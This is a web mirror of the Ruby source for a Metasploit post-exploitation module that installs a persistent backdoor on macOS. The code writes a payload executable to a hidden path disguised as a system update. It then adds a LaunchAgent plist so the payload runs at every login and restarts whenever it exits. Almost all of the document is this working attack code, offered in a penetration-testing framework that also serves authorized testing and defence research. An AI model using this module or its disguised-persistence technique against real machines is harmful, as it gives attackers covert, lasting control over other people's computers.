CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/osx/local/persistence.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'shellwords'67class MetasploitModule < Msf::Exploit::Local8Rank = ExcellentRanking910include Msf::Post::Common11include Msf::Post::File12include Msf::Exploit::EXE1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Mac OS X Persistent Payload Installer',19'Description' => %q{20This module provides a persistent boot payload by creating a plist entry21in current user's ~/Library/LaunchAgents directory. Whenever the user logs in,22the LaunchAgent will be invoked and this dropped payload will run.23},24'License' => MSF_LICENSE,25'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],26'Targets' => [27[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],28[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],29[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],30[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],31],32'DefaultTarget' => 0,33'SessionTypes' => [ 'shell', 'meterpreter' ],34'DisclosureDate' => '2012-04-01',35'Platform' => [ 'osx', 'python', 'unix' ]36)37)3839register_options([40OptString.new('BACKDOOR_PATH',41[true, 'Path to hide the backdoor on the target.',42'~/Library/.<random>/com.system.update']43),44OptBool.new('KEEPALIVE',45[true, 'Continually restart the payload exe if it crashes/exits.', true]46),47OptBool.new('RUN_NOW',48[false, 'Run the installed payload immediately.', false]49)50])51end5253def exploit54check_for_duplicate_entry5556if target['Arch'] == ARCH_PYTHON57payload_bin = "#!/usr/bin/env python\n" + payload.encoded58elsif target['Arch'] == ARCH_CMD59payload_bin = "#!/usr/bin/env bash\n" + payload.raw60else61payload_bin = generate_payload_exe62end6364# Store backdoor on target machine65write_backdoor(payload_bin)66# Add plist file to LaunchAgents dir67add_launchctl_item68# tell the user how to remove the persistence if necessary69list_removal_paths70end7172private7374# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path75def add_launchctl_item76label = File.basename(backdoor_path)77cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")78# Note: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive79item = <<-EOI80<?xml version="1.0" encoding="UTF-8"?>81<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">82<plist version="1.0">83<dict>84<key>Label</key>85<string>#{label}</string>86<key>Program</key>87<string>#{backdoor_path}</string>88<key>ProgramArguments</key>89<array>90<string>#{backdoor_path}</string>91</array>92<key>RunAtLoad</key>93<true/>94<key>OnDemand</key>95<#{keepalive?}/>96<key>KeepAlive</key>97<#{keepalive?}/>98</dict>99</plist>100EOI101102if write_file(plist_path, item)103print_good("LaunchAgent added: #{plist_path}")104else105fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")106end107108if run_now?109cmd_exec("launchctl load -w #{plist_path.shellescape}")110end111112print_good('LaunchAgent installed successfully.')113end114115# path to upload the backdoor. any <user> or <random> substrings will be replaced.116# @return [String] path to drop the backdoor payload.117def backdoor_path118@backdoor_path ||= (datastore['BACKDOOR_PATH']119.gsub('<random>'){ Rex::Text.rand_text_alpha(8) }120.gsub(/^~\//, "/Users/#{user}/"))121end122123# raises an error if a Launch Agent already exists at desired same plist_path124def check_for_duplicate_entry125if file?(plist_path)126fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"127end128end129130# @return [Boolean] user wants the persistence to be restarted constantly if it exits131def keepalive?132datastore['KEEPALIVE']133end134135# useful if you want to remove the persistence.136# prints out a list of paths to remove and commands to run.137def list_removal_paths138removal_command = "rm -rf #{File.dirname(backdoor_path).shellescape}"139removal_command << " ; rm #{plist_path}"140removal_command << " ; launchctl remove #{File.basename(backdoor_path)}"141removal_command << " ; launchctl stop #{File.basename(backdoor_path)}"142print_status("To remove the persistence, run:\n#{removal_command}\n")143end144145# path to the LaunchAgent service configuration plist146# @return [String] path to the LaunchAgent service147def plist_path148@plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist"149end150151# @return [Boolean] user wants to launch the LaunchAgent immediately152def run_now?153datastore['RUN_NOW']154end155156# @return [String] username of the session157def user158@user ||= cmd_exec('whoami').strip159end160161# drops the file to disk, then makes it executable162# @param [String] exe the executable to drop163def write_backdoor(exe)164print_status('Dropping backdoor executable...')165cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")166167if write_file(backdoor_path, exe)168print_good("Backdoor stored to #{backdoor_path}")169cmd_exec("chmod +x #{backdoor_path.shellescape}")170else171fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")172end173end174end175176177